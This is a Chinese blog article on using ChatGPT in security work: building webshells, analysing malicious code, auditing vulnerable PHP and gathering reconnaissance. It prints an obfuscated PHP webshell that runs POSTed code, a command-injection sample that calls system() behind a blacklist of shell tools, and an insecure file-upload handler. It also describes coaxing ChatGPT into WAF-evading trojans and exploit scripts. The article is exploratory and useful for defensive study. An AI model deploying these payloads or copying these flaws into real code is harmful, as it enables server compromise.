ChatGPT在信息安全中的应用浅析
作者:XINO
前言
ChatGPT是美国人工智能研究实验室OpenAI新推出的一种人工智能技术驱动的自然语言处理工具,最近ChatGPT又出圈了,之前已经在技术社区火了一把现在传播到了大众面前,我不禁又对这个神奇的AI产生了一些思考,在之前我只是让其辅助写一些简单的逻辑程序,于是我想知道它是否也能在网络安全领域实现一些它的价值呢,本文就这个话题来探讨一下它在网络安全里面一些应用和实践。
自身定位
在实践之前,我想向ChatGPT问一下它自己对于这个问题的回答是什么,即让它自己对信息安全领域起的作用进行一些分析,结果还是挺让人惊讶的:
它回答的十分全面,里面有一些内容连我自己都没有想到,于是我对探讨它在信息安全领域的作用的兴趣进一步加深,下面我便对它进行了一些测试。
构造恶意代码
这里就先以最简单的一句话木马为例,我向它提问是否能构造一个对网站产生威胁的恶意语句,AI很轻松的便回答出来了:
看来简单的恶意语句还是对它来说还是很轻松的,于是我继续向它提问一些进阶的问题:我让它用字符编码的方式来构造恶意木马:
还是完整的写完了,根据其代码逻辑实际上也是可以利用的,到这我继续加深难度:
可能是我尝试次数比较少的原因,并没有达到我理想的条件,或许再多增加一些限制条件会达到更好的效果,但是不难看出随着AI的逐渐进化,以后我们对一些WAF或杀毒软件进行测试时,可以结合AI来对产品代码进行分析,让AI构造出可以绕过的木马。
在测试时我还尝试让AI分析带有危险函数的代码,对下面这段恶意代码:
<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?> //7.php
AI给出了比较正确的分析
这又给我们提供了一个思路,通过AI结合防火墙来达到动态分析恶意请求的想法,进而加强我们设备的安全性。
漏洞源码分析
尝试完上面的项目,我开始思考,能否结合AI来进行代码审计,众所周知,白盒测试又称结构测试、透明盒测试、逻辑驱动测试或基于代码的测试。通过分析代码找到里面的漏洞点来维护网络安全,如果AI和它碰撞会产生什么样的火花呢?下面看一个例子:
我用一个简单的代码让其分析一下:
分析代码:<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|`|%|\x09|\x26|>|</i", $c)){ system($c); } }else{ highlight_file(__FILE__);
结果还是很方便理解的,给出了这段代码的作用以及过滤的所有字符,我们可以根据这些提示来进行渗透或者防护。
之后我让其分析一个简单的有文件上传漏洞的代码:
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '文件类型不正确,请重新上传!'; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!'; } }
经过了十几次的改善,给了我如下还算合理的回复:
虽然回答没啥毛病但这是经过十几次更新我筛选出来的,个人认为AI现在还达不到分析一些大量代码来给出一些合理的漏洞攻击思路,当然也可能是我提问的方式有问题,有时会出现答非所问的情况,不过我觉得随着技术更新这些小问题应该可以解决。
信息收集
在进行网站渗透时,不管是网站信息或是网站所用服务的信息都是非常重要的,这会考察一个渗透人员的信息收集能力,收集到的信息越多对我们的渗透帮助越大,于是我想试试AI能否协助我们进行这个操作。
我试着用AI查询某网站的旁站,很快便列出了许多:
当然这只是最基础的,我们通过工具也可以进行查询,但AI搜索速度还是远远大于工具的,这不妨是一个我们进行渗透测试时可以快速进行资产收集的好途径。说到这我们不妨进一步思考,作为帮助我们渗透的工具,若我已经收集到了网站所用框架以及版本,我想问问它如何渗透:
这里AI给出了我们一个可利用的CVE漏洞,那么我继续向其提问具体利用方式:
就很有意思了,它真的给我们提供了一个脚本,先不提这个脚本,我觉得在渗透中有个AI能够随时帮助我们收集信息和脚本这能大大加快我们的渗透过程,我希望未来能发展成这样的趋势。让渗透人员少一些不必要的操作从而加大效率。
结语
目前ChatGPT为了防止恶意用户的应用,限制了对于主动构造攻击脚本的一些请求,这使得其不能展现更多的在信息安全领域的价值,本文结合我在之前收集的一些资料,简单分析了一下ChatGPT在网络安全领域的一些可能性,其中包含了一些已经实现和希望未来可以实现的一些想法,无论是AI构造代码或者进行全自动白盒分析,这都会对我们网络安全领域产生一些深远的影响,我希望这些想法可以在不远的未来实现。
以上就是ChatGPT在信息安全中的应用浅析的详细内容,更多关于ChatGPT信息安全应用的资料请关注脚本之家其它相关文章!